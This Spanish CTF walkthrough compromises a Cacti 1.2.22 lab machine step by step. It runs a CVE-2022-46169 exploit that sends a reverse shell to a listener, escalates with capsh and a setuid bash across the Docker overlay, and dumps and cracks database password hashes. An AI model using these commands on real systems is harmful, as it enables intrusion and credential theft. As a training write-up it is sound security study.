Contenido
- Reconocimiento
- Explotación de la web
- Escalada de privilegios en el docker
- Explotación de la base de datos
- Escalada de privilegios en la maquina principal
Reconocimiento
Primero empezamos con el típico escaneo con nmap
❯ nmap -p- --open -T5 -sS -min-rate 5000 -vvv -n -Pn -oG allports 10.10.11.211
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-26 20:13 CEST
Initiating SYN Stealth Scan at 20:13
Scanning 10.10.11.211 [65535 ports]
Discovered open port 80/tcp on 10.10.11.211
Discovered open port 22/tcp on 10.10.11.211
Completed SYN Stealth Scan at 20:13, 13.76s elapsed (65535 total ports)
Nmap scan report for 10.10.11.211
Host is up, received user-set (0.11s latency).
Scanned at 2023-08-26 20:13:03 CEST for 14s
Not shown: 65121 closed tcp ports (reset), 412 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.89 seconds
Raw packets sent: 68247 (3.003MB) | Rcvd: 66661 (2.666MB)
Después hacemos un escaneo enviando unos scripts básicos de reconocimiento
❯ nmap -sCV -p22,80 -oN targeted 10.10.11.211
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-26 20:16 CEST
Nmap scan report for cacti.htb (10.10.11.211)
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Login to Cacti
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.14 seconds
Ahora podemos ir a la pagina web que esta en el puerto 80
Explotación de la web
Podemos probar a hacer una SQLI
pero veremos que no funcionara
Pero en este panel podemos ver la version, podemos buscar vulnerabilidades para esta version de cacti
Buscando encontré este proyecto, que usa una vulnerabilidad de esta version de cacti
para mandarte una reverse shell
Proyecto —> https://github.com/FredBrave/CVE-2022-46169-CACTI-1.2.22/tree/main
Usando esto podremos conseguir una consola interactiva de la maquina
Primero que todo nos ponemos en escucha en el puerto que queramos
nc -nlvp 4646
Después ejecutamos la herramienta .py indicandole nuestra ip, el puerto por donde nos tiene que mandar la consola y la ip de la maquina
❯ python3 CVE-2022-46169.py -u http://10.10.11.211 --LHOST=10.10.14.89 --LPORT=4646
Checking...
The target is vulnerable. Exploiting...
Bruteforcing the host_id and local_data_ids
Bruteforce Success!!
Ahora tenemos acceso a la consola, pero si hacemos un whoami podremos ver que estamos dentro de un Docker
❯ whoami
www-data
Escalada de privilegios en el docker
Ahora buscamos alguna manera de escalar privilegios,
find / -perm -4000 2>/dev/null
Encontramos un archivo llamado capsh
, el cual podemos usar para convertirnos en root, de esta manera:
capsh --gid=0 --uid=0 --
Explotación de la base de datos
Una vez que tengamos root vamos a ir a la raiz y vamos a hacer un cat al archivo entrypoint.sh
Este nos mostrara como entrar a la base de datos del servidor
mysql --host=db --user=root --password=root cacti
Al usar este comando entramos directamente a la base de datos cacti
, por lo que no es necesario listar bases de datos
Ahora podemos listar las tablas
MySQL [(cacti)]> show tables;
La que nos interesa es la user_auth
Si vemos su contenido obtendremos la contraseña del usuario para el ssh (la del root no funcionara)
❯ MySQL [cacti]> select username, password from user_auth;
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| admin | $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC |
| guest | 43e9a4ab75570f5b |
| marcus | $2y$10$vcrYth5Y.contraseña |
+----------+--------------------------------------------------------------+
Ahora con john podemos desencriptar el hash (en el archivo hash tiene que estar el hash de marcus)
john --wordlist=/opt/rockyou.txt hash
Escalada de privilegios en la maquina principal
Ahora podemos conectarnos al usuario marcus con ssh
, pero no cierres la consola del docker, se necesita mas adelante
Ahora que estamos como usuario marcus
podemos ver la flag del usuario, la cual estará en el home
Perfecto, ahora toca ir a por la flag del root, para esto necesitaremos escalar privilegios, pero no hay ninguna manera a simple vista
Por eso usaremos la terminal que tenemos en el docker con permisos root, y le daremos permisos a la bash
chmod u+s /bin/bash
Pero le hemos dado permisos a la bash del contenedor y no de la maquina principal
Por lo que con el usuario Marcus
tenemos que irnos a esta ruta
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
Y cuando estemos ahí ejecutamos la bash
bin/bash -p
Esto nos dará una consola como root
Ahora solo toca ir a la carpeta root y ver la flag